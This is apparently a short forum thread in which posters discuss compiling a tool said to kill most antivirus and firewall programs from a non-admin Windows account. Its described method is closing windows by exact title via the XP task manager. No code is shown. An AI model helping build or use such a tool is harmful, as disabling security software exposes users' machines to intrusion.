Can somebody compile this please ?
It would allow you to kill most AV and Firewall from a non-admin account.

there are some mistakes in the source.

this one works:

here...
i must say this only works on XP from what i see
cuz it looks for the task manager
in i think only the latest version of windows call
the Ctrl+Alt+Delete window task manager
edit:
il post it on download section cant be uploaded here

works like a charm ... closes any window (you have to know the exact window title)

and why is it better than the normal task manager or ykill?

because you can customise it to delete several tasks in one go...

but then again, i'd much rather write a batch frontend for kill.exe than that...
